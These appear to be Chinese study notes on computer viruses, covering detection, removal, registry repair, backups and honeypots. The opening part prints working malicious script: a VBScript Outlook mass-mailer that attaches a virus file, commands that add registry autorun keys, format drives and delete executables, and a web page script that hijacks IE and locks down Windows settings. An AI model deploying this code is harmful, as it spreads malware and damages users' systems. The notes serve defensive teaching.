Q1:发送给通讯录全部联系人? 前50人
Q2:病毒在邮件主体还是附件? 附件
//修改注册表,使得每次系统启动时自动执行脚本: (*)
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"
//‘MSKernel32.vbs和Win32DLL.vbs是病毒脚本的一个副本
•打开磁盘格式化窗口
–Set obj = Wscript.CreateObject(“Wscript.Shell”)
–Obj.Run “rundll32.exe shell32.dll, SHFormatDrive”
•关闭Windows
–Set obj = Wscript.CreateObject(“Wscript.Application”)
–Obj.ShutdownWindows
•删除当前目录中所有的.exe文件
–Set obj = Wscript.CreateObject(“Wscript.Shell”)
–Obj.Run(“Command.com /C DEL *.EXE, 0, False”)
•写注册表(写入字符串“TestValue”)
–Set obj = Wscript.CreateObject(“Wscript.Shell”)
–Obj.RegWrite “HKey_Local_Machine\Software\Microsoft”, “TestValue”
•//code begin
•Set objOA = Wscript.CreateObject("Outlook.Application")
•Set objMapi = objOA.GetNameSpace("MAPI")
•For i = 1 to objMapi.AddressLists.Count
•Set objAddList = objMapi.AddressLists(i)
•For j =1 To objAddList.AddressEntries.Count
•Set objMail = objOA.CreateItem(0)
•ObjMail.Recipients.Add(objAddList.AddressEntries(j)) # 添加所有入口到收件人
•ObjMail.Subject = "你好!"
•ObjMail.Body = "这次给你的附件时我实验题!如果收到附件轻不要下载,不要打开。"
•ObjMail.Attachments.Add("c:\test.vbs")
•ObjMail.Sent
•Next
•Next
•Set objMapi = Nothing
•Set objOA = Nothing
•//code end
黑客把攻击后成功地逃匿入侵检测系统看作是一门艺术,有哪些方式?
WebPage代码:
•document.write("");
•//该函数是现在收藏夹里增加一个站点
function AddFavLnk(loc, DispName, SiteURL)
{ var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save(); }
•//该函数是病毒的主函数,实现COOKIES检查、注册表修改等
function f(){
try {
//声明一个ActiveX对象
ActiveX initialization # 初始化ActiveX, 为修改注册表做准备
a1=document.applets[0]; # 获取applets对象
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
//创建几个实例,指向注册表中有关IE的选项
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try
{
if (documents .cookies.indexOf("Chg") == -1) 没有改变
{
//设置IE起始页
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page",
"http://www.on888.home.chinaren.com/");
//设置COOKIES
var expdate = new Date((new Date()).getTime() + (1)); # 当前时间+1ms的时间戳
documents .cookies="Chg=general; expires=" + expdate.toGMTString() + "; path=/;" # 把时间转化为字符串
//消除RUN按钮
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoRun", 01, "REG_BINARY");
//消除关闭按钮
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoClose", 01, "REG_BINARY");
//消除注销按钮
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoLogOff", 01, "REG_BINARY");
//隐藏盘符
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoDrives", "63000000", "REG_DWORD");
//禁止注册表
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableRegistryTools", "00000001", "REG_DWORD");
//禁止运行DOS程序
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\WinOldApp\\Disabled", "00000001", "REG_DWORD");
//禁止进入DOS模式
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\WinOldApp\\NoRealMode", "00000001", "REG_DWORD");
//开机提示窗口标题
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeCaption", "你已经中毒…");
//开机提示窗口信息
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Winlogon\\LegalNoticeText", "你已经中毒…");
//设置IE标题
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title","你已经中毒…");
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "你已经中毒…");
}
}
catch(e) {} # 捕获错误并跳过
}
catch(e) {}
}
//初始化函数
function init() {
setTimeout("f()", 1000); # 1s之后再运行f()函数
}
//开始执行
init();
这病毒做了哪些操作?IE受到哪些影响?运行按钮(RUN键)有没有收到影响?
流氓软件定义:
流氓软件尚无标准定义。它们往往采用特殊手段频繁弹出广告窗口、危及用户隐私,严重干扰用户的日常工作、数据安全和个人隐私。第一种定义:流氓软件是指具有一定的实用价值但具备电脑病毒和黑客的部分行为特征的软件。它处在合法软件和电脑病毒之间的灰色地带,会使你无法卸载、并强行弹出广告和窃取用户的私人信息等危害。第二种定义:流氓软件是介于病毒和正规软件之间的软件,同时具备正常功能(下载、媒体播放等)和恶意行为(弹广告、开后门),给用户带来实质危害。它们往往采用特殊手段频繁弹出广告窗口,危及用户隐私,严重干扰用户的日常工作、数据安全和个人隐私。
总之,流氓软件是中国大陆对网络上散播的符合如下条件的软件的一种称呼:采用多种社会和技术手段,强行或者秘密安装,并抵制卸载;强行修改用户软件设置,如浏览器主页,软件自动启动选项,安全选项;强行弹出广告,或者其他干扰用户占用系统资源行为;有侵害用户信息和财产安全的潜在因素或者隐患;未经用户许可,或者利用用户疏忽,或者利用用户缺乏相关知识,秘密收集用户个人信息、秘密和隐私。
流氓软件特征:
僵尸网络定义:
僵尸网络的构成:
僵尸网络的特点:
僵尸网络与木马结构的相同点和不同点?
僵尸网络工作过程(传播,加入,控制):
僵尸网络危害:
什么是信息保障(PDRR)?
保护(Protect):采用可能采取的手段保障信息的保密性、完整性、可用性、可控性和不可否认性。
检测(Detect):利用高技术提供的工具检查系统存在的可能提供给黑客攻击、白领犯罪、病毒泛滥脆弱性。
反应(React):对危及安全的事件、行为、过程及时作出响应处理,杜绝危害的进一步蔓延扩大,力求系统尚能提供正常服务。
恢复(Restore):一旦系统遭到破坏,尽快恢复系统功能,尽早提供正常的服务。
计算机病毒防治技术可概括成五个方面:
**用什么来检测?**染毒后的特征
常用方法:①比较法②校验和③扫描法④行为监测法⑤行为感染试验法⑥虚拟执行法⑦陷阱技术⑧先知扫描⑨分析法
比较法:
校验和法:
特征码扫描法:
感染实验法:
这种方法的原理是利用了病毒的最重要的基本特征:感染特性。病毒都会进行感染。运行可疑系统中的程序后,再运行一些确切知道不带毒的正常程序,然后观察这些正常程序的长度和校验和,如何发现有变化,则判断染毒。
检测未知引导型病毒的感染实验法:
a.先用一张软盘,做一个清洁无毒的系统盘,用DEBUG程序,读该盘的BOOT扇区进入内存,计算其校验和,并记住此值。同时把正常的BOOT扇区保存到一个文件中。上述操作必须保证系统环境是清洁无毒的
b.在这张实验盘上拷贝一些无毒的系统应用程序。
c.启动可疑系统,将实验盘插入可疑系统,运行实验盘上的程序,重复一定次数。
d.再在干净无毒机器上,检查实验盘的BOOT扇区,可与原BOOT扇区内容比较,如果实验盘BOOT扇区内容已改变,可以断定可疑系统中有引导型病毒。
检测未知文件型病毒的感染实验法:
a.在干净系统中制作一张实验盘,上面存放一些应用程序,这些程序应保证无毒,应选择长度不同,类型不同的文件(既有COM型又有EXE型)。记住这些文件正常状态的长度和校验和。
b.在实验盘上制作一个批处理文件,使盘中程序在循环中轮流被执行数次
c.将实验盘插入可疑系统,执行批处理文件,多次执行盘中程序。
d.将实验盘放人干净系统,检查盘中文件的长度和校验和,如果文件长度增加,或者校验和变化,则可断定系统中有病毒。
Windows中的病毒的感染实验法(e.g.广外女生):
① 首先打开RegSnap,从file菜单选new,然后单击OK按钮,对当前干净的注册表以及系统文件做一个记录。如果木马修改了其中某项,就可以分析出来了。备份完成之后把它存为Regsnp1.rgs。
② 在计算机上运行感染了“广外女生”病毒的文件,例如双击gdufs.exe,然后等一小会儿。如果此时发现正在运行着的“天网防火墙”或“金山毒霸”自动退出,就很可能木马已经驻留在系统中了。
③ 重新打开RegSnap,从file菜单选new,然后单击OK按钮,把这次的snap结果存为Regsnp2.rgs。
④ 从RegSnap的file菜单选择Compare,在First snapshot中选择打开Regsnp1.rgs,在Second snapshot中选择打开Regsnp2.rgs,并在下面的单选框中选中Show modified key names and key values,然后单击OK按钮。这样RegSnap就开始比较两次记录有什么区别了,当比较完成时会自动打开分析结果文件Regsnp1-Regsnp2.htm。
⑤ 为找出木马的驻留位置以及在注册表中的启动项,看Regsnp1-Regsnp2.htm,若显示如下信息:
Summary info:
Deleted keys: 0
Modified keys: 15
New keys : 1
File list in C:\WINNT\System32\*.*
Summary info:
Deleted files: 0
Modified files: 0
New files : 1
New files
diagcfg.exe Size: 97 792 , Date/Time: 2001年07月01日 23:00:12
…
Total positions: 1
则表明两次记录中,没有删除注册表键,修改了15处注册表,新增加了一处注册表键值,在C:\WINNT\System32\目录下面新增加了一个文件diagcfg.exe。这个文件非常可疑,因为在比较两次系统信息之间只运行了“广外女生”这个木马,所以有理由相信diagcfg.exe就是木马留在系统中的后门程序。这时打开任务管理器,可以发现其中有一个diagcfg.exe的进程,这就是木马的原身。但这个时候千万不要删除diagcfg.exe,否则系统就无法正常运行了。
木马一般都会在注册表中设置一些键值以便以后在系统每次重新启动时能够自动运行。从Regsnp1-Regsnp2.htm中可以看到哪些注册表项发生了变化,此时若看到: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\shell\open\command\@
Old value: String: ″″%1″ %*″
New value: String: ″C:\WINNT\System32\diagcfg.exe ″%1″ %*″
则说明这个键值由原来的″%1″ %*被修改成了C:\WINNT\System32\DIAGCFG.EXE ″%1″ %*,这就使得以后每次运行任何可执行文件时都要先运行C:\WINNT\System32\ diagcfg.exe这个程序。
⑥ 找出木马监听的端口。使用fport可以轻松的实现这一点。在命令行中运行fport.exe,可以看到:
C:\tool\fport>fport
FPort v1.33 TCP/IP Process to Port Mapper
Copyright 2000 by Foundstone, Inc.
http://www.foundstone.com
Pid ProcessPort Proto Path
584 tcpsvcs-> 7TCP C:\WINNT\System32\tcpsvcs.exe
584 tcpsvcs -> 9 TCP C:\WINNT\System32\tcpsvcs.exe
584 tcpsvcs -> 13 TCP C:\WINNT\System32\tcpsvcs.exe
584 tcpsvcs -> 17 TCP C:\WINNT\System32\tcpsvcs.exe
584 tcpsvcs -> 19 TCP C:\WINNT\System32\tcpsvcs.exe
836 inetinfo -> 80 TCP C:\WINNT\System32\inetsrv\inetinfo.exe
408 svchost -> 135 TCP C:\WINNT\system32\svchost.exe
836 inetinfo -> 443 TCP C:\WINNT\System32\inetsrv\inetinfo.exe
8System -> 445 TCP
464 msdtc -> 1025 TCP C:\WINNT\System32\msdtc.exe
684 MSTask -> 1026 TCP C:\WINNT\system32\MSTask.exe
584 tcpsvcs -> 1028 TCP C:\WINNT\System32\tcpsvcs.exe
836 inetinfo -> 1029 TCP C:\WINNT\System32\inetsrv\inetinfo.exe
8System -> 1030 TCP
464 msdtc -> 3372 TCP C:\WINNT\System32\msdtc.exe
1176 DIAGCFG -> 6267 TCP C:\WINNT\System32\DIAGCFG.EXE /*here!!!!*/
836 inetinfo -> 7075 TCP C:\WINNT\System32\inetsrv\inetinfo.exe
584 tcpsvcs -> 7 UDP C:\WINNT\System32\tcpsvcs.exe
584 tcpsvcs -> 9 UDP C:\WINNT\System32\tcpsvcs.exe
584 tcpsvcs -> 13 UDP C:\WINNT\System32\tcpsvcs.exe
584 tcpsvcs -> 17 UDP C:\WINNT\System32\tcpsvcs.exe
584 tcpsvcs -> 19 UDP C:\WINNT\System32\tcpsvcs.exe
584 tcpsvcs -> 68 UDP C:\WINNT\System32\tcpsvcs.exe
408 svchost -> 135 UDP C:\WINNT\system32\svchost.exe
8 System -> 445 UDP
228 services -> 1027 UDP C:\WINNT\system32\services.exe
836 inetinfo -> 3456 UDP C:\WINNT\System32\inetsrv\inetinfo.exe
虚拟执行法:
分析法:
计算机病毒诊断原理总结:
分类:
自动诊断的源码分析:
自动诊断病毒(查毒)的最简单方法——特征码扫描法
自动诊断程序至少要包括两个部分:
**高速模式匹配:**查找的速度是评价一个查毒引擎的关键因素之一。
算法种类:单模式匹配算法:KMP\QS\BM等; 多模式匹配算法:DFSA\基于二叉树的算法
问题描述:设待处理(动态)文本为 T = t 1 t 2 . . . t n T=t_1t_2...t_n T=t1t2...tn
– 单模式匹配是从文本中查找一个模式串 P i = x 1 x 2 . . . P_i=x_1x_2... Pi=x1x2...
– 多模式匹配就是通过一次查找从文本中发现多个 P 1 , P 2 , . . . , P q P_1,P_2,...,P_q P1,P2,...,Pq
为什么清除计算机病毒比查找计算机病毒在原理上要难得多?
计算机病毒的清除:
引导型病毒的清除原理:
文件型病毒的消毒原理:
覆盖型文件病毒清除:该型病毒是一种破坏型病毒,由于该病毒硬性地覆盖掉了一部分宿主程序,使宿主程序被破坏,即使把病毒杀掉,程序也已经不能修复。对覆盖型病毒感染的文件只能将其彻底删除,没有挽回原文件的余地。
覆盖型以外的文件病毒:原则上都可以被清除干净,根据感染的逆过程来清除。
**如果染毒的文件有备份,如何清除病毒?**复制备份文件,即可恢复原文件,不需要专门清除。
杀毒软件来清除病毒不能保证完全恢复原有的程序功能,有可能造成在清除病毒后文件反而不能执行的局面。
因此平日备份文件方能万无一失。
某些病毒会破坏系统数据,比如目录结构和FAT表,因此在清除完病毒之后,还要进行系统维护工作。
清除交叉感染病毒:
这两个相同,
【代码】
例如,禁止3721
REGEDIT5 #B83FC273-3522-4CC6-92EC-75CC86678DA4 3721's CLSID [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility{B83FC273-3522-4CC6-92EC-75CC86678DA4}] "Compatibility Flags"=dword:00000400
REGEDIT4
//修复RUN按钮
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \Explorer]
"NoRun"=dword:00000000
//修复关闭按钮
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \Explorer]
"NoClose"=dword:00000000
//修复注销按钮
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \Explorer]
"NoLogOff"=dword:00000000
//取消隐藏盘符
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \Explorer]
"NoDrives"=dword:00000000
//取消禁止注册表
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \System]
"DisableRegistryTools"=dword:00000000
//取消禁止运行DOS程序
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \WinOldApp]
"Disabled"=dword:00000001
//取消禁止进入DOS模式
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies \WinOldApp]
"NoRealMode"=dword:00000001
//取消开机提示窗口标题
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon]
"LegalNoticeCaption"=""
//取消开机提示窗口信息
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon]
"LegalNoticeText"=""
//重设IE标题
[HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main]
"Window Title"="Microsoft Internet Explorer"
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
"Window Title"="Microsoft Internet Explorer"
//重置IE起始页 [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
"Start Page"=""
宏病毒查杀:
杀毒和病毒入侵的原理完全相同
–查找感染标记 —〉用新宏代替旧宏
•以Maker病毒为例
•在Normal.dot的“ThisDocument”中加入以下代码:
Private Sub Document_Open()
Dim SaveDocument, DocumentInfected As Boolean # 初始化变量
Dim ad As Object
Dim strVirusName As String
Dim intVBComponentNo As Integer
'病毒感染标记(如果要扫描自己,用"&"连接字符串可以避免误判自己)
'代码重用时,针对不同的病毒可修改以下两句
Const Marker = "〈- this is another" & " marker!"
strVirusName = "Marker"
'将病毒所作的安全修改回来
Options.VirusProtection = True
'可能存在的宏代码数目
intVBComponentNo = ActiveDocument.VBProject.VBComponents.Count
For i = 1 To intVBComponentNo
'获取当前激活文档的宏代码
Set ad = ActiveDocument.VBProject.VBComponents.Item(i)
'是否包含特征字符串
DocumentInfected = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000) # 返回bool
'如果包含病毒特征字符串
If DocumentInfected = True Then
SaveDocument = ActiveDocument.Saved # 更改完是否被保存
'如果病毒为追加感染,请修改这一句。注意这里为全删除宏
ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines
ActiveDocument.VBProject.VBComponents.Remove (ad)
MsgBox ActiveDocument.FullName & "被" & strVirusName & _
"宏病毒感染.已去除!", vbInformation, "By:Ray.Deng"
End If
Next i
If DocumentInfected = True & SaveDocument = True Then
ActiveDocument.Save
'如果是成批消毒,建议加上这一句,自动关闭打开的文件
ActiveDocument.Close
End If
End Sub
编好后存盘,然后查找所有doc和dot文件并执行打开操作。
简单的查毒程序
–根据病毒特征码发现特定病毒(CIH和Klez)。
–VirScan从程序入口点开始查找病毒特征码。
–对抗Klez病毒会卸载杀毒引擎的功能。
–CIH病毒不会动态地改变程序入口点处的标记,我们可以自接从入口点处开始。
–Klez病毒会动态的改变程序入口点处的前16个字节,所以,VirScan跳过了前16个字节。
首先,编写一个普通的DLL,该DLL将导出一个名字为DontAllowForDeletion的函数。
BOOL WINAPI DontAllowForDeletion(LPSTR Str)
{
HANDLE hFile;
if((hFile=CreateFile(Str,
GENERIC_READ, //指定读访问权.可以从文件中读取数据,并且移动文件指针
FILE_SHARE_READ, //后续的仅仅请求读访问权的打开操作将会成功.
NULL, //该句柄不可继承
OPEN_EXISTING, //打开一个文件,如果文件不存在函数将会失败.如查你使用CreateFile函数为设备装载控制台.
FILE_ATTRIBUTE_READONLY, //这个文件只可读取.程序可以读文件,但不可以在上面写入内容,也不可删除
NULL //用于复制文件句柄,此处不复制
)) ==INVALID_HANDLE_VALUE){//如果函数成功,返回一个打开的指定文件的句柄;如果函数失败,返会值会是INVALID_HANDLE_VALUE.
return FALSE;
}
return TRUE;
}
然后,在VirScan的启动时,调用DLL的导出函数,实现对VirScan程序的保护。
DontAllowDeletion = (DLLFUNC *)GetProcAddress(hLib, "DontAllowForDeletion");
DontAllowDeletion(TmpPath));
//TmpPath为VirScan在系统中的物理位置
查找前需要定位文件、定位PE入口
//查找Klez
SetFilePointer(hFile, pCodeBytes+16, NULL, FILE_BEGIN);
ReadFile(hFile, pBytes, sizeof(KlezSignature), &ReadBytes, NULL);
for(i=0; i
免疫的原理:
针对某一种病毒进行的计算机病毒免疫:
基于自我完整性检查的计算机病毒的免疫方法:
系统加固是防黑客领域的基本问题,主要是通过配置系统的参数(如服务、端口、协议等)或给系统打补丁来减少系统被入侵的可能性。
常见的系统加固工作主要包括:安装最新补丁;(系统补丁的管理是商业软件的必选功能,系统安全补丁主要是针对操作系统来量身定制的)禁止不必要的应用和服务;禁止不必要的账号;去除后门;内核参数及配置调整;系统最小化处理;加强口令管理;启动日志审计功能等。
计算机监控技术:
虚拟机技术:
启发式代码扫描技术:
启发式指的“自我发现的能力”或“运用某种方式或方法去判定事物的知识和技能。”一个运用启发式扫描技术的病毒检测软件,实际上就是以特定方式实现的动态跟踪器或反编译器,通过对有关指令序列的反编译逐步理解和确定其蕴藏的真正动机。
例如,一段程序以如下序列开始:
MOV AH, 5
INT 13h
该程序实现调用格式化盘操作的BIOS指令功能,那么这段程序就高度可疑值得引起警觉,尤其是假如这段指令之前不存在取得命令行关于执行的参数选项,又没有要求用户交互地输入继续进行的操作指令时,可以有把握地认为这是一个病毒或恶意破坏的程序。
数据备份的容量计算:
存储备份策略:
备份策略可以确定需备份的内容、备份时间及备份方式。目前被采用最多的备份策略主要有以下三种:
1)完全备份(full backup):对整个系统或用户指定的所有文件进行一次全面的备份。
2)增量备份(incremental backup):只备份上一次备份以来新创建或更新的数据。
3)差分备份(differential backup):备份上一次完全备份后产生和更新的所有新的数据。
差分备份的恢复简单:系统管理员只需要对两份备份文件进行恢复,即完全备份的文件和灾难发生前最近的一次差分备份文件,就可以将系统恢复。增量备份恢复复杂。
在实际应用中,备份策略通常是以上三种的结合。例如每周一至周六进行一次增量备份或差分备份,每周日进行全备份,每月底进行一次全备份,每年底进行一次全备份。
数据恢复:
数据恢复根据有无数据备份,分为:a)正常数据恢复(有备份)b)灾难数据恢复
所谓灾难数据恢复是指由于各种原因导致数据损失时把保留在介质上的数据重新恢复的过程:
灾难数据恢复的分类:
数据可恢复的前提:
如果被删除的文件已经被其他文件取代,或者文件数据占用的空间已经分配给其他文件,那么该文件就不可能再恢复了。电子碎纸机就是利用这种原理来设计的。如果硬件或介质损坏严重,也是不可能恢复的。
出现数据灾难时如何处理:
如果是由病毒感染、误分区、误格式化等原因造成的数据丢失,这将关系到整块硬盘数据的存亡,千万不要再用该硬盘进行任何操作,更不能继续往上面写任何数据,而应马上找专业人员来处理;
如果是由硬件原因造成的数据丢失(如硬盘受到激烈振动而损坏),则要注意事故发生后的保护工作,不应继续对该存储器反复进行测试,否则,将造成永久性的损坏。
杀毒软件必备功能:
反病毒产品的地缘性:
企业级病毒防治方案:
重要性:企业网络平台及其业务数据至关重要;远程安装、集中管理、统一防病毒策略是企业级反病毒产品的重要功能;需要建立多层次的、立体的病毒防护体系,而且要具备完善的管理系统来设置和维护病毒防护策略。
企业网络的典型结构:
a)从网络基本结构上看,一个典型的企业网络包括网关(Gateway)、服务器(文件服务器、邮件服务器等)和客户端。
b)从网络的应用模式上看,现代企业网络都是基于服务器/客户端的计算模式。
c)从操作系统上看,企业网络的客户端基本上都是Windows平台,中小企业服务器一般采用Win NT/2000系统,部分行业用户或大型企业的关键业务应用服务器采用Unix操作系统。
d)从通讯协议上看,目前企业网络绝大部分采用TCP/IP协议。
病毒在网络上传播的过程:
“1”:因特网上的病毒经过防火墙、网关到达邮件服务器,这样邮件服务器就感染病毒了;“2”:表示某一个用户使用邮件服务器从而染毒。“3”:病毒扩散到文件服务器上;“4”:表示通过资源共享,文件服务器感染了客户端;“5”:表示客户端之间交叉感染;“6”:病毒通过网关、防火墙再传播到因特网。
病毒在企业网中的几种传播途径:
趋势整体解决方案:
局域网:配备杀毒软件;配备网络防病毒管理平台;再网管中心配备病毒集中监控中心,集中管理网络病毒疫情;在各分支也配备监控中心,提供整体防病毒策略配置、病毒集中监控和灾难恢复等管理功能;工作站和服务器较多的网络可以配备软件自动分发中心,以减轻网络管理人员的工作量。
广域网:分三级:“单机终端杀毒-局域网集中监控-广域网总部管理(监控,统计分析)”。
【判断】不存在能够防治未来所有病毒的反病毒软、硬件。病毒产生在前,反病毒手段相对滞后,将是一个长期的过程。(对)
为什么需要策略?
计算机病毒防治策略的基本准则:
反病毒扫描引擎相关问题:
额外的防御工具:
①防火墙②入侵检测系统
③蜜罐
–设计用来模拟看起来正常的重要服务器的假系统。存有多份虚假的重要文件,易于让人攻破。使黑客将时间花费在蜜罐中,而不造成任何实际的破坏。从而给了安全人员足够的证据,可以发现黑客的操作。
【和虚拟执行技术的区别?】
蜜罐是为诱捕攻击者而专门设置的脆弱系统,通过布置一些作为诱饵的主机、网络服务或者信息,诱使攻击者对其实施攻击,从而捕捉和分析攻击行为,了解攻击方所使用的工具与方法,推测攻击意图和动机,能够让防御方清晰地了解他们所面对的安全威胁,并通过技术和管理手段来增强实际系统的安全防护能力。作为一个包含漏洞的诱骗系统,蜜罐可以通过“伪装”迷惑甚至诱捕攻击者,从而保护服务器。此外,由于蜜罐并没有向外界提供真正有价值的服务,因此所有对蜜罐的尝试都是十分可疑的;蜜罐的另一个用途,就是拖延攻击者对真正目标的攻击,让攻击者在蜜罐上浪费时间。可以说,蜜罐就是诱捕攻击者的陷阱。而虚拟机则是一个虚拟系统程序,能令恶意软件在这个封闭环境中安装并执行,安全研究人员可以观测该恶意软件的行为,识别潜在风险并开发应对措施。其好处在于,这样可以在与网络隔离的主机上用多种操作系统安全地测试恶意软件,更安全。蜜罐可以让研究人员观测真实的攻击者是怎么动作的,而虚拟机仅揭示恶意软件的行为。
④端口监视和扫描程序⑤漏洞扫描程序⑥Internet内容扫描程序⑦良好的备份